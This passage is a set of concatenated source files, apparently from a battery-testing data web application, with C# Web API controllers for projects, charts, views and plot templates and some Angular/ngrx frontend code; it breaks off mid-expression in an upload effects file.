_jobClient = jobClient; _options = options; } #endregion #region Public methods [EnableQuery(AllowedFunctions = AllowedFunctions.AllFunctions, EnsureStableOrdering = false)] public IEnumerable<Project> Get(string customQuery) { IEnumerable<Project> query = GetAllUserProjects(); if (!string.IsNullOrWhiteSpace(customQuery)) { Expression<Func<DqdvContext, Project, bool>> predicate = ParseCustomQuery(customQuery); query = query.Where(p => predicate.Invoke(_db, p)); } return query.OrderByDescending(p => p.Id); } public IHttpActionResult Delete([FromODataUri] int key) { var project = GetAllUserProjects().SingleOrDefault(p => p.Id == key); if (project == null) return NotFound(); var userId = HttpContext.Current.User.Identity.GetUserId(); var traceId = project.TraceId.ToString(); _db.SP_DeleteProject(userId, key); _db.SaveChanges(); if (!string.IsNullOrWhiteSpace(project.JobId) && _jobClient.Delete(project.JobId)) { _jobClient.ContinueWith<IBackgroundProcessor>(project.JobId, p => p.DeleteProjectData(traceId, project.Id), JobContinuationOptions.OnAnyFinishedState); if (project.InternalFileName != null) { if (_options.RawFileRetentionPeriod > TimeSpan.Zero) { _jobClient.Schedule<IBackgroundProcessor>(p => p.DeleteRawFile(traceId, project.Id, project.InternalFileName), _options.RawFileRetentionPeriod); } else { _jobClient.ContinueWith<IBackgroundProcessor>(project.JobId, p => p.DeleteRawFile(traceId, project.Id, project.InternalFileName), JobContinuationOptions.OnAnyFinishedState); } } } else { _jobClient.Enqueue<IBackgroundProcessor>(p => p.DeleteProjectData(traceId, project.Id)); if (project.InternalFileName != null) { if (_options.RawFileRetentionPeriod > TimeSpan.Zero) { _jobClient.Schedule<IBackgroundProcessor>(p => p.DeleteRawFile(traceId, project.Id, project.InternalFileName), _options.RawFileRetentionPeriod); } else { _jobClient.Enqueue<IBackgroundProcessor>(p => p.DeleteRawFile(traceId, project.Id, project.InternalFileName)); } } } return StatusCode(HttpStatusCode.NoContent); } public IHttpActionResult Patch([FromODataUri] int key, Delta<Project> delta) { if (!ModelState.IsValid) return BadRequest(ModelState); var project = GetAllUserProjects().SingleOrDefault(p => p.Id == key); if (project == null) return NotFound(); if (delta.GetChangedPropertyNames().Intersect(NonUpdatableProperties).Any()) return BadRequest(); delta.Patch(project); project.UpdatedAt = DateTime.UtcNow; _db.SaveChanges(); return Updated(project); } #endregion #region Private methods private IQueryable<Project> GetProjects() { return _db.GetProjects(User.Identity.GetUserId()); } private IEnumerable<Project> GetAllUserProjects() { return _db.GetAllUserProjects(User.Identity.GetUserId()); } private Expression<Func<DqdvContext, Project, bool>> ParseCustomQuery(string customQuery) { try { return new QueryParser().Parse(customQuery); } catch (QueryParserException ex) { var message = $"Syntax error at postion {ex.CharPosition + 1}: {ex.Message}"; throw new HttpResponseException(Request.CreateResponse(HttpStatusCode.BadRequest, new HttpError(message))); } } #endregion } } <file_sep>/WebApp/Extensions/ExcelHttpActionResult.cs using System.Net; using System.Net.Http; using System.Net.Http.Headers; using System.Threading; using System.Threading.Tasks; using System.Web.Http; namespace WebApp.Extensions { public class ExcelHttpActionResult : IHttpActionResult { private readonly byte[] _data; public ExcelHttpActionResult(byte[] data) { _data = data; } //////////////////////////////////////////////////////////// // Public Methods/Atributes //////////////////////////////////////////////////////////// /// <inheritdoc /> /// <summary>Creates an <see cref="T:System.Net.Http.HttpResponseMessage" /> asynchronously.</summary> /// <returns>A task that, when completed, contains the <see cref="T:System.Net.Http.HttpResponseMessage" />.</returns> /// <param name="cancellationToken">The token to monitor for cancellation requests.</param> public Task<HttpResponseMessage> ExecuteAsync(CancellationToken cancellationToken) { return Task.FromResult(Execute()); } //////////////////////////////////////////////////////////// // Private Methods/Atributes //////////////////////////////////////////////////////////// private HttpResponseMessage Execute() { var httpResponseMessage = new HttpResponseMessage(HttpStatusCode.OK); try { httpResponseMessage.Content = new ByteArrayContent(_data); httpResponseMessage.Content.Headers.ContentType = new MediaTypeHeaderValue("application/octet-stream"); httpResponseMessage.Content.Headers.ContentDisposition = new ContentDispositionHeaderValue("attachment") { FileName = "Project.xlsx" }; } catch { httpResponseMessage.Dispose(); throw; } return httpResponseMessage; } } } <file_sep>/WebApp/src/app/projects/model/project-list-item.ts export interface ProjectListItem { id: number; traceId: string; name: string; fileName: string; fileSize: number; testName: string; testType: string; channel: string; tag: string; mass?: number; area?: number; comments: string; createdAt: Date; updatedAt: Date; isReady: boolean; failed: boolean; error: string; numCycles: number; ownerName: string; stitchedFromNames: string; } <file_sep>/WebApp/src/app/statistic-project/state/statistic-stitcher.effects.ts import { Injectable } from "@angular/core"; import { Actions, Effect } from "@ngrx/effects"; import { Store } from "@ngrx/store"; import { Observable } from "rxjs/Observable"; import "rxjs/add/observable/of"; import { AppState } from "../../state"; import * as forRoot from "./statistic-stitcher.actions"; import { StatisticStitcherService } from "./statistic-stitcher.service"; @Injectable() export class StatisticStitcherEffects { @Effect() onCalculateAverage = this.actions$ .ofType(forRoot.STATISTIC_STITCH_PROJECTS) .switchMap((action: forRoot.StatisticStitchProjects) => this.stitcherService .stitch(action.params) .map(() => new forRoot.StatisticStitchSucceeded()) .catch(error => Observable.of(new forRoot.StatisticStitchFailed(error))) ); constructor(private actions$: Actions, private store: Store<AppState>, private stitcherService: StatisticStitcherService) { } } <file_sep>/WebApp/src/app/chart/axis-range-editor/axis-range-editor.component.ts import { Component, EventEmitter, Input, Output } from "@angular/core"; import { DxNumberBoxComponent } from "devextreme-angular"; import { AxisRange, AxisRangeItem, Chart } from "../model"; @Component({ selector: "app-axis-range-editor", templateUrl: "./axis-range-editor.component.html", styleUrls: ["./axis-range-editor.component.css"] }) export class AxisRangeEditorComponent { @Input() value: AxisRange; @Output() cancel = new EventEmitter(); @Output() save = new EventEmitter<AxisRange>(); onCancel(): void { this.cancel.emit(); } onSave(xAxisFrom: DxNumberBoxComponent, xAxisTo: DxNumberBoxComponent, yAxisFrom: DxNumberBoxComponent, yAxisTo: DxNumberBoxComponent): void { this.save.emit( { xAxis: { from: xAxisFrom.value, to: xAxisTo.value }, yAxis: { from: yAxisFrom.value, to: yAxisTo.value }, y2Axis: null, }); } } <file_sep>/WebApp/Controllers/Api/ChartController.cs using System; using System.Diagnostics; using System.IO; using System.Linq; using System.Net; using System.Reflection; using System.Web; using System.Web.Http; using DataLayer; using Dqdv.Types; using Dqdv.Types.Plot; using log4net; using Microsoft.AspNet.Identity; using Newtonsoft.Json.Linq; using Plotting; using WebApp.Extensions; using WebApp.Interfaces; using WebApp.Models.Chart; using WebApp.Models.Mappings; using WebApp.Search.Extensions; using WebApp.Search.Queries; using WebApp.Services; namespace WebApp.Controllers.Api { [Authorize] public class ChartController : ApiController { #region Logging private static readonly ILog Log = LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType); #endregion #region Private fields private const int PointSizeOnOneCyclePlots = 10; private const int MaxSeriesPerPlot = 100; private readonly IStorage _storage; private readonly DqdvContext _db; private readonly ChartSettingProvider _chartSettingProvider; private readonly PlotTemplateService _plotTemplateService; private readonly Func<PlotType, ChartPlotterBase> _chartPlotterFactory; private readonly ChartExporter _exporter; private readonly SelectProjectListQuery _selectProjectListQuery; #endregion #region Constructor public ChartController( IStorage storage, DqdvContext db, ChartSettingProvider chartSettingProvider, PlotTemplateService plotTemplateService, Func<PlotType, ChartPlotterBase> chartPlotterFactory, ChartExporter exporter, SelectProjectListQuery selectProjectListQuery) { _storage = storage; _db = db; _chartSettingProvider = chartSettingProvider; _chartPlotterFactory = chartPlotterFactory; _exporter = exporter; _selectProjectListQuery = selectProjectListQuery; _plotTemplateService = plotTemplateService; } #endregion #region Public methods [Route("api/chart")] [HttpGet] public IHttpActionResult GetChart( [FromUri] int[] projectId, [FromUri] PlotType plotType, [FromUri] string format = null) { Stopwatch timer = Stopwatch.StartNew(); Log.Info($"ChartController.GetChart: ChartController.GetChart: Plot({plotType}, ProjectIds: {string.Join(",", projectId)} UTC Time: {DateTime.UtcNow}"); var result = _selectProjectListQuery.Execute(User.Identity.GetUserId(), projectId); if (result.Status != ProjectStatusDto.Ready) { return Content(HttpStatusCode.NotFound, new { ProjectStatus = result.Status }); } var parameters = _chartSettingProvider.MergeWithGlobal(User.Identity.GetUserId(), _chartSettingProvider.GetSettings(User.Identity.GetUserId())); var projectWithOneCycleExist = result.Projects.HasProjectsWithOneCycle(); var projectsSumCyclesGreaterThanMax = result.Projects.IsTotalProjectsCyclesGreaterThanMaximum(MaxSeriesPerPlot); parameters.PointSize = projectWithOneCycleExist ? PointSizeOnOneCyclePlots : parameters.PointSize; parameters.MaxCycles = projectsSumCyclesGreaterThanMax ? MaxSeriesPerPlot : parameters.MaxCycles; var chart = _chartPlotterFactory(plotType).Plot(projectsSumCyclesGreaterThanMax, new ChartPlotterContext { Parameters = parameters, ProjectIds = projectId, Trace = User.Identity.Name }); chart.PlotParameters = parameters; if (format?.ToLower() == "xlsx") { return new ExcelHttpActionResult(_exporter.ToExcel(chart)); } var dto = chart.ToChartDto(); Log.Info($"ChartController.GetChart: Plot({plotType}, {parameters}, ProjectIds: {string.Join(", ", projectId)} UTC Time: {DateTime.UtcNow} toDto {timer.ElapsedMilliseconds} ms"); return Ok(dto); } [Route("api/setParameters"), HttpPost] public IHttpActionResult SetParameters(JObject parametersModel) { var parameters = _chartSettingProvider.GetSettings(User.Identity.GetUserId()); var parametersObj = parametersModel.GetValue("parametersModel").ToObject<PlotParameters>(); if (!parametersObj.IsInitialized) { parametersObj = parameters; } parametersObj.CustomCycleFilter = HttpContext.Current.Server.UrlDecode(parametersObj.CustomCycleFilter); parametersObj.IsInitialized = true; parametersObj = _chartSettingProvider.MergeWithGlobal(User.Identity.GetUserId(), parametersObj); _chartSettingProvider.SetSettings(User.Identity.GetUserId(), parametersObj); return Ok(parametersObj); } [Route("api/setStateOfCharge")] [HttpGet] public IHttpActionResult SetStateOfCharge( [FromUri] int[] projectId, [FromUri] double? chargeFrom = null, [FromUri] double? chargeTo = null) { var result = _selectProjectListQuery.Execute(User.Identity.GetUserId(), projectId); if (result.Status != ProjectStatusDto.Ready) return Content(HttpStatusCode.NotFound, new { result.Status }); StateOfCharge stateOfCharge = new StateOfCharge { ChargeFrom = chargeFrom, ChargeTo = chargeTo }; var parameters = _chartSettingProvider.MergeWithGlobal(User.Identity.GetUserId(), _chartSettingProvider.GetSettings(User.Identity.GetUserId())); var projectWithOneCycleExist = result.Projects.HasProjectsWithOneCycle(); var projectsSumCyclesGreaterThanMax = result.Projects.IsTotalProjectsCyclesGreaterThanMaximum(MaxSeriesPerPlot); parameters.PointSize = projectWithOneCycleExist ? PointSizeOnOneCyclePlots : parameters.PointSize; parameters.MaxCycles = projectsSumCyclesGreaterThanMax ? MaxSeriesPerPlot : parameters.MaxCycles; var timer = Stopwatch.StartNew(); var chart = _chartPlotterFactory(PlotType.Soc).Plot(projectsSumCyclesGreaterThanMax, new ChartPlotterContext { Parameters = parameters, ProjectIds = projectId, Trace = User.Identity.Name, Data = stateOfCharge }); chart.PlotParameters = parameters; timer.Restart(); return Ok(chart.ToChartDto($"SOC ChargeFrom - {chargeFrom} ;ChargeTo - {chargeTo} ")); } [Route("api/setDefaultParameters"), HttpPost] public IHttpActionResult SetDefaultParameters(JObject parametersModel) { var parametersObj = parametersModel.GetValue("parametersModel").ToObject<PlotParameters>(); parametersObj.FromCycle = null; parametersObj.ToCycle = null; parametersObj.EveryNthCycle = null; parametersObj.CustomCycleFilter = string.Empty; parametersObj.LegendShowen = null; parametersObj.DisableCharge = null; parametersObj.DisableDischarge = null; parametersObj.Threshold = null; parametersObj.MinY = null; parametersObj.Simplification = 1; parametersObj.MaxY = null; parametersObj.CurrentUoM = CurrentUoM.mA; parametersObj.CapacityUoM = CapacityUoM.mAh; parametersObj.TimeUoM = TimeUoM.Seconds; parametersObj.PowerUoM = PowerUoM.W; parametersObj.EnergyUoM = EnergyUoM.Wh; parametersObj.ResistanceUoM = ResistanceUoM.Ohm; parametersObj.NormalizeBy = NormalizeBy.None; parametersObj.IsInitialized = true; parametersObj.AxisRange = new AxisRange(); parametersObj = _chartSettingProvider.MergeWithGlobal(User.Identity.GetUserId(), parametersObj); _chartSettingProvider.SetSettings(User.Identity.GetUserId(), parametersObj); _chartSettingProvider.ClearSettings($"{User.Identity.GetUserId()}_Template"); return Ok(parametersObj); } [Route("api/exportchart"), HttpPost] public IHttpActionResult GetExportChart( [FromUri] int[] projectId, [FromUri] PlotType plotType, [FromUri] string format = null, [FromUri] string templateIdValue = null, [FromUri] int? maxCycles = null, [FromUri] int? maxPointsPerSeries = null, [FromUri] int? fromCycle = null, [FromUri] int? toCycle = null, [FromUri] int? everyNthCycle = null, [FromUri] string customCycleFilter = null, [FromUri] bool? disableCharge = null, [FromUri] bool? disableDischarge = null, [FromUri] double? threshold = null, [FromUri] double? minY = null, [FromUri] double? maxY = null, [FromUri] CurrentUoM? currentUoM = null, [FromUri] CapacityUoM? capacityUoM = null, [FromUri] TimeUoM? timeUoM = null, [FromUri] PowerUoM? powerUoM = null, [FromUri] EnergyUoM? energyUoM = null, [FromUri] ResistanceUoM? resistanceUoM = null, [FromUri] NormalizeBy? normalizeBy = null, [FromUri] int? pointSize = null, [FromUri] double? chargeFrom = null, [FromUri] double? chargeTo = null) { var result = _selectProjectListQuery.Execute(User.Identity.GetUserId(), projectId); if (result.Status != ProjectStatusDto.Ready) { return NotFound(); } var timer = Stopwatch.StartNew(); Chart chart; if ((plotType == PlotType.View || plotType == PlotType.Template ) && !string.IsNullOrEmpty(templateIdValue)) { int.TryParse(templateIdValue, out var templateId); var item = _plotTemplateService.GetChartTemplate(new ChartOwner(User.Identity.GetUserId(), User.Identity.Name), templateId, result.Projects); if (item == null) { Log.Error($"Template {templateId} not found"); return NotFound(); } chart = item.Chart; timer.Restart(); } else if (plotType == PlotType.Soc) { var parameters = new PlotParameters { MaxCycles = maxCycles, MaxPointsPerSeries = maxPointsPerSeries, FromCycle = fromCycle, ToCycle = toCycle, EveryNthCycle = everyNthCycle, CustomCycleFilter = customCycleFilter, DisableCharge = disableCharge, DisableDischarge = disableDischarge, Threshold = threshold, MinY = minY, MaxY = maxY, CurrentUoM = currentUoM, CapacityUoM = capacityUoM, TimeUoM = timeUoM, PowerUoM = powerUoM, EnergyUoM = energyUoM, ResistanceUoM = resistanceUoM, NormalizeBy = normalizeBy, PointSize = pointSize }; StateOfCharge stateOfCharge = new StateOfCharge { ChargeFrom = chargeFrom, ChargeTo = chargeTo }; chart = _chartPlotterFactory(PlotType.Soc).Plot(false, new ChartPlotterContext { Parameters = parameters, ProjectIds = projectId, Trace = User.Identity.Name, Data = stateOfCharge }); chart.PlotParameters = parameters; Log.Info($"ChartController.GetExportChart: Plot({plotType}, {parameters}, {projectId}): plot {timer.ElapsedMilliseconds} ms"); } else { PlotParameters parameters = new PlotParameters { MaxCycles = maxCycles, MaxPointsPerSeries = maxPointsPerSeries, FromCycle = fromCycle, ToCycle = toCycle, EveryNthCycle = everyNthCycle, CustomCycleFilter = customCycleFilter, DisableCharge = disableCharge, DisableDischarge = disableDischarge, Threshold = threshold, MinY = minY, MaxY = maxY, CurrentUoM = currentUoM, CapacityUoM = capacityUoM, TimeUoM = timeUoM, PowerUoM = powerUoM, EnergyUoM = energyUoM, ResistanceUoM = resistanceUoM, NormalizeBy = normalizeBy, PointSize = pointSize }; chart = _chartPlotterFactory(plotType).Plot(true, new ChartPlotterContext { Parameters = parameters, ProjectIds = projectId, Trace = User.Identity.Name }); Log.Info($"ChartController.GetExportChart: Plot({plotType}, {parameters}, {projectId}): plot {timer.ElapsedMilliseconds} ms"); chart.PlotParameters = parameters; } var files = HttpContext.Current.Request.Files; Stream imageStream = null; if (files.Count > 0) { imageStream = files[0].InputStream; } return new ExcelHttpActionResult(_exporter.ToExcel(chart, imageStream)); } [Route("api/shareProject"), HttpPost] public IHttpActionResult ShareProject(JObject parametersModel) { var parameters = parametersModel.GetValue("parametersModel").ToObject<ShareRequestModel>(); var userId = User.Identity.GetUserId(); var shareUser = _db.Users.FirstOrDefault(u => u.Email == parameters.email); if (shareUser == null) return NotFound(); if (parameters.objectIds.Count == 0) return NotFound(); parameters.objectIds.ForEach(pId => { try { _db.SP_ShareProject(userId, shareUser.Id, pId); } catch { //row already exists } }); return Ok(); } [Route("api/shareTemplate"), HttpPost] public IHttpActionResult ShareTemplate(JObject parametersModel) { var parameters = parametersModel.GetValue("parametersModel").ToObject<ShareRequestModel>(); var userId = User.Identity.GetUserId(); var shareUser = _db.Users.FirstOrDefault(u => u.Email == parameters.email); if(shareUser == null) return NotFound(); if(parameters.objectIds.Count==0) return NotFound(); _db.SP_ShareTemplate(userId, shareUser.Id, parameters.objectIds.First()); return Ok(); } [Route("api/shareView"), HttpPost] public IHttpActionResult ShareView(JObject parametersModel) { var parameters = parametersModel.GetValue("parametersModel").ToObject<ShareRequestModel>(); var userId = User.Identity.GetUserId(); var shareUser = _db.Users.FirstOrDefault(u => u.Email == parameters.email); if (shareUser == null) return NotFound(); if (parameters.objectIds.Count == 0) return NotFound(); _db.SP_ShareView(userId, shareUser.Id, parameters.objectIds.First()); return Ok(); } #endregion } } <file_sep>/WebApp/Controllers/Api/ViewController.cs using System; using System.Collections.Generic; using System.Data.Entity; using System.Diagnostics; using System.Linq; using System.Net; using System.Reflection; using System.Threading.Tasks; using System.Web; using System.Web.Http; using DataLayer; using log4net; using Microsoft.AspNet.Identity; using Newtonsoft.Json.Linq; using WebApp.Data; using WebApp.Extensions; using WebApp.Models.Chart; using WebApp.Models.Mappings; using WebApp.Models.Projects; using WebApp.Search.Queries; using WebApp.Services; namespace WebApp.Controllers.Api { [Authorize] [RoutePrefix("api/views")] public class ViewController : ApiController { //////////////////////////////////////////////////////////// // Constants, Enums and Class members //////////////////////////////////////////////////////////// private static readonly ILog Log = LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType); private readonly DqdvContext _db; private readonly SelectProjectListQuery _selectProjectListQuery; private readonly PlotTemplateService _plotTemplateService; private readonly ChartExporter _exporter; //////////////////////////////////////////////////////////// // Constructors //////////////////////////////////////////////////////////// /// <inheritdoc /> /// <summary> /// Initialize a new instance of <see cref="T:WebApp.Controller.Api.ViewController" /> /// </summary> /// <param name="db"></param> /// <param name="plotTemplateService"></param> /// <param name="exporter"></param> /// <param name="selectProjectListQuery"></param> public ViewController( DqdvContext db, PlotTemplateService plotTemplateService, ChartExporter exporter, SelectProjectListQuery selectProjectListQuery) { _db = db; _plotTemplateService = plotTemplateService; _exporter = exporter; _selectProjectListQuery = selectProjectListQuery; } //////////////////////////////////////////////////////////// // Public Methods/Atributes //////////////////////////////////////////////////////////// [Route] [HttpGet] public async Task<IHttpActionResult> GetViews() { var userId = HttpContext.Current.User.Identity.GetUserId(); var result = await _db.Views.Where(v => v.UserId == userId).Select( v => new { id = v.Id, name = v.Name, comments = v.Comments, template = v.PlotTemplate.Name, projectsCount = v.Projects.Count, projects = v.Projects.Select(p => p.Id).ToList(), createdAt = v.CreatedAt, updatedAt = v.UpdatedAt }).ToListAsync(); return Ok(result); } [Route("{id}")] [HttpGet] public IHttpActionResult GetViewChart(int id, [FromUri] string format = null) { var timer = Stopwatch.StartNew(); var userId = User.Identity.GetUserId(); var selectedView = _db.Views.First(v => v.UserId == userId && v.Id == id); if (selectedView == null) return NotFound(); var projectIds = selectedView.Projects.Select(p => p.Id).ToArray(); var result = _selectProjectListQuery.Execute(User.Identity.GetUserId(), projectIds); if (result.Status != ProjectStatusDto.Ready) { return Content(HttpStatusCode.NotFound, new { result.Status }); } var chartTemplate = _plotTemplateService.GetChartTemplate(new ChartOwner(User.Identity.GetUserId(), User.Identity.Name), selectedView.PlotTemplateId, result.Projects); if (chartTemplate == null) { Log.Error($"Template {id} not found"); return NotFound(); } if (format?.ToLower() == "xlsx") { return new ExcelHttpActionResult(_exporter.ToExcel(chartTemplate.Chart)); } var dto = chartTemplate.Chart.ToChartDto($"View - {chartTemplate.Template.Name}"); Log.Info($"View({selectedView.Id}, {selectedView.PlotTemplateId}): toDto {timer.ElapsedMilliseconds} ms"); return Ok(dto); } [Route] [HttpPost] public IHttpActionResult AddView(JObject model) { var templateObj = model.GetValue("params").ToObject<ViewProjectsModel>(); if (templateObj == null) { return BadRequest(); } if (!AllProjectsExist(templateObj.Projects)) { return NotFound(); } var userId = HttpContext.Current.User.Identity.GetUserId(); var now = DateTime.UtcNow; var view = new View { UserId = userId, Name = templateObj.Name, PlotTemplateId = templateObj.PlotTemplateId, Comments = templateObj.Comments, CreatedAt = now, UpdatedAt = now }; _db.Views.Add(view); _db.SaveChanges(); view.Projects = new List<Project>(); foreach (var projectId in templateObj.Projects) { view.Projects.Add(_db.Projects.First(p => p.Id == projectId)); } _db.SaveChanges(); return Ok(_db.Views.Where(v => v.UserId == userId).Select( v => new { id = v.Id, comments = v.Comments, name = v.Name, template = v.PlotTemplate.Name, projectsCount = v.Projects.Count, projects = v.Projects.Select(p => p.Id).ToList() })); } [Route("{id}")] [HttpDelete] public async Task<IHttpActionResult> DeleteView(int id) { var userId = HttpContext.Current.User.Identity.GetUserId(); var selectedView = await _db.Views.FirstOrDefaultAsync(v => v.UserId == userId && v.Id == id); if (selectedView == null) return NotFound(); _db.Views.Remove(selectedView); _db.SaveChanges(); return StatusCode(HttpStatusCode.NoContent); } //////////////////////////////////////////////////////////// // Private Methods/Atributes //////////////////////////////////////////////////////////// private bool AllProjectsExist(int[] projectId) { var foundProjects = _db.GetProjects(User.Identity.GetUserId()) .Count(p => p.IsReady && !p.Failed && projectId.Contains(p.Id)); return foundProjects == projectId.Length; } } } <file_sep>/WebApp/Controllers/Api/PlotController.cs using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Net; using System.Reflection; using System.Web; using System.Web.Http; using DataLayer; using log4net; using Microsoft.AspNet.Identity; using Newtonsoft.Json; using Newtonsoft.Json.Linq; using Plotting; using WebApp.Data; using WebApp.Extensions; using WebApp.Models.Chart; using WebApp.Models.Mappings; using WebApp.Models.Plots; using WebApp.Search.Extensions; using WebApp.Search.Queries; using WebApp.Services; namespace WebApp.Controllers.Api { [Authorize] [RoutePrefix("api/plots")] public class PlotController : ApiController { //////////////////////////////////////////////////////////// // Constants, Enums and Class members //////////////////////////////////////////////////////////// private static readonly ILog Log = LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType); private const int PointSizeOnOneCyclePlots = 10; private const int MaxSeriesPerPlot = 100; private readonly DqdvContext _db; private readonly ChartExporter _exporter; private readonly PlotTemplateService _plotTemplateService; private readonly SelectProjectListQuery _selectProjectListQuery; private readonly ChartSettingProvider _chartSettingProvider; //////////////////////////////////////////////////////////// // Constructors //////////////////////////////////////////////////////////// /// <inheritdoc /> /// <summary> /// Initialize a new instance of <see cref="T:WebApp.Controller.Api.ChartTemplateController" /> /// </summary> /// <param name="db"></param> /// <param name="plotTemplateService"></param> /// <param name="chartSettingProvider"></param> /// <param name="exporter"></param> /// <param name="selectProjectListQuery"></param> public PlotController( DqdvContext db, PlotTemplateService plotTemplateService, ChartSettingProvider chartSettingProvider, ChartExporter exporter, SelectProjectListQuery selectProjectListQuery) { _db = db; _plotTemplateService = plotTemplateService; _exporter = exporter; _selectProjectListQuery = selectProjectListQuery; _chartSettingProvider = chartSettingProvider; } //////////////////////////////////////////////////////////// // Public Methods/Atributes //////////////////////////////////////////////////////////// [Route] [HttpGet] public IHttpActionResult GetChartTemplates() { var timer = Stopwatch.StartNew(); var templateUserId = _db.Users.First(u => u.UserName == "<EMAIL>"); var listContent = GetAllUserPlotTemplates(templateUserId.Id) .Select(pt => new { pt.Id, pt.Content }) .ToList(); var result = listContent.Select(c => { var template = JsonConvert.DeserializeObject<Dqdv.Types.Plot.PlotTemplate>(c.Content); template.Id = c.Id.ToString(); return template; }).ToList(); timer.Restart(); return Ok(result); } [Route("{id}")] [HttpGet] public IHttpActionResult GetChartTemplate(string id, [FromUri] int[] projectId, [FromUri] string format = null) { var result = _selectProjectListQuery.Execute(User.Identity.GetUserId(), projectId); if (result.Status != ProjectStatusDto.Ready) { return Content(HttpStatusCode.NotFound, new { ProjectStatus = result.Status }); } var timer = Stopwatch.StartNew(); int.TryParse(id, out var templateId); var chartTemplate = _plotTemplateService.GetChartTemplate(new ChartOwner(User.Identity.GetUserId(), User.Identity.Name), templateId, result.Projects); if (chartTemplate == null) { Log.Error($"Template {templateId} not found"); return NotFound(); } timer.Restart(); if (format?.ToLower() == "xlsx") { return new ExcelHttpActionResult(_exporter.ToExcel(chartTemplate.Chart)); } var dto = chartTemplate.Chart.ToChartDto($"Template - {chartTemplate.Template.Name}"); Log.Info($"ChartController.GetChartByTemplate: Plot({chartTemplate.Template.Name}, {chartTemplate.Template.PlotParameters}, ProjectIds: {string.Join(",", projectId)} UTC Time: {DateTime.UtcNow} toDto {timer.ElapsedMilliseconds} ms"); return Ok(dto); } [Route] [HttpPost] public IHttpActionResult SaveChartTemplate(JObject templateModel) { var templateObj = templateModel.GetValue("templateModel").ToObject<PlotTemplateRequestModel>(); var result = _selectProjectListQuery.Execute(User.Identity.GetUserId(), templateObj.projectIds); if (result.Status != ProjectStatusDto.Ready) return Content(HttpStatusCode.NotFound, new { result.Status }); var templateUserId = _db.Users.First(u => u.UserName == "<EMAIL>"); var userId = HttpContext.Current.User.Identity.GetUserId(); templateObj.newTemplate.UserId = userId; templateObj.newTemplate.CanEdit = userId != templateUserId.Id; templateObj.newTemplate.PlotParameters.PointSize = result.Projects.HasProjectsWithOneCycle() ? PointSizeOnOneCyclePlots : templateObj.newTemplate.PlotParameters.PointSize; templateObj.newTemplate.PlotParameters.MaxCycles = result.Projects.IsTotalProjectsCyclesGreaterThanMaximum(MaxSeriesPerPlot) ? MaxSeriesPerPlot : templateObj.newTemplate.PlotParameters.MaxCycles; templateObj.newTemplate.PlotParameters.CustomCycleFilter = HttpContext.Current.Server.UrlDecode(templateObj.newTemplate.PlotParameters.CustomCycleFilter); _chartSettingProvider.ClearSettings($"{User.Identity.GetUserId()}_Template"); var parameters = templateObj.newTemplate.PlotParameters; if (string.IsNullOrEmpty(templateObj.newTemplate.Id)) { var itemNew = _db.PlotTemplates.Add(new DataLayer.PlotTemplate { UserId = User.Identity.GetUserId(), Name = templateObj.newTemplate.Name, Content = JsonConvert.SerializeObject(templateObj.newTemplate), CreatedAt = DateTime.UtcNow, UpdatedAt = DateTime.UtcNow }); _db.SaveChanges(); templateObj.newTemplate.Id = itemNew.Id.ToString(); itemNew.Content = JsonConvert.SerializeObject(templateObj.newTemplate); itemNew.UpdatedAt = DateTime.UtcNow; } else { int.TryParse(templateObj.newTemplate.Id, out var templateId); var templateToUpdate = GetAllUserPlotTemplates(templateUserId.Id).FirstOrDefault(pt => pt.Id == templateId); if (templateToUpdate != null) { templateToUpdate.Content = JsonConvert.SerializeObject(templateObj.newTemplate); templateToUpdate.UpdatedAt = DateTime.UtcNow; } else { Log.Error($"Template {templateId} not found"); return NotFound(); } } _db.SaveChanges(); var timer = Stopwatch.StartNew(); var chartTemplate = _plotTemplateService.GetChartTemplate(new ChartOwner(User.Identity.GetUserId(), User.Identity.Name), int.Parse(templateObj.newTemplate.Id), result.Projects); var dto = chartTemplate.Chart.ToChartDto($"Template - {templateObj.newTemplate.Name}"); Log.Info($"ChartController.SaveChartTemplate: Plot({templateObj.newTemplate.Name}, {parameters}, {templateObj.projectIds}): plot {timer.ElapsedMilliseconds} ms"); return Ok( new { selectedTemplate = templateObj.newTemplate, chart = dto }); } [Route("{id}")] [HttpDelete] public IHttpActionResult DeleteChartTemplate(int id) { var userId = HttpContext.Current.User.Identity.GetUserId(); var templateToDelete = _db.PlotTemplates.FirstOrDefault(pt => pt.UserId == userId && pt.Id == id); if (templateToDelete == null) return NotFound(); var timer = Stopwatch.StartNew(); _db.SP_DeleteTemplate(userId, id); _db.SaveChanges(); Log.Info($"ChartController.DeleteChartTemplate: Plot({templateToDelete.Name} has been deleted. UTC Time: {DateTime.UtcNow}. Executing time: {timer.ElapsedMilliseconds} ms"); return StatusCode(HttpStatusCode.NoContent); } //////////////////////////////////////////////////////////// // Private Methods/Atributes //////////////////////////////////////////////////////////// private IEnumerable<DataLayer.PlotTemplate> GetAllUserPlotTemplates(string templateUserId) { return _db.GetAllUserPlotTemplates(User.Identity.GetUserId(), templateUserId); } } } <file_sep>/WebApp/src/app/upload/state/upload.effects.ts import { HttpEventType, HttpErrorResponse, HttpProgressEvent, HttpResponse } from "@angular/common/http"; import { Injectable } from "@angular/core"; import { Router } from "@angular/router"; import { Actions, Effect, toPayload } from "@ngrx/effects"; import { Observable } from "rxjs/Observable"; import { Store } from "@ngrx/store"; import "rxjs/add/observable/of"; import "rxjs/add/operator/filter"; import "rxjs/add/operator/map"; import { empty } from "rxjs/observable/empty"; import * as forRoot from "./upload.actions"; import { UploadService } from "./upload.service"; import { PopupService } from "../../shared/popup/popup.service"; import { AppState } from "../../state"; @Injectable() export class UploadEffects { @Effect() onCheckProjectsUnique = this.actions$ .ofType(forRoot.BEFORE_START_UPLOAD) .switchMap((action: forRoot.BeforeStartUpload) => this.uploadService .uniqueProjectsCheck(action.project) .map(response => { if (response.isAllUnique) return new forRoot.StartUpload(action.project); return new forRoot.ProjectOverwriteComfirmation(action.project); })); @Effect() onProjectOverwriteComfirmation = this.actions$ .ofType(forRoot.UPLOAD_OVERWRITE_CONFIRMATION) .switchMap((action: forRoot.ProjectOverwriteComfirmation) => { this.popupService.showConfirm("Confirm Project Overwriting", "One or more projects cannot be created because they already exsit. Do you want to overwrite them?") .subscribe(result => { if (result === true) this.store$.dispatch(new forRoot.StartUpload(action.project));; }) return empty(); } ); @Effect() onStartUpload = this.actions$ .ofType(forRoot.START_UPLOAD) .switchMap((action: forRoot.StartUpload) => this.uploadService .upload(action.project) .map((event) => { if (event.type === 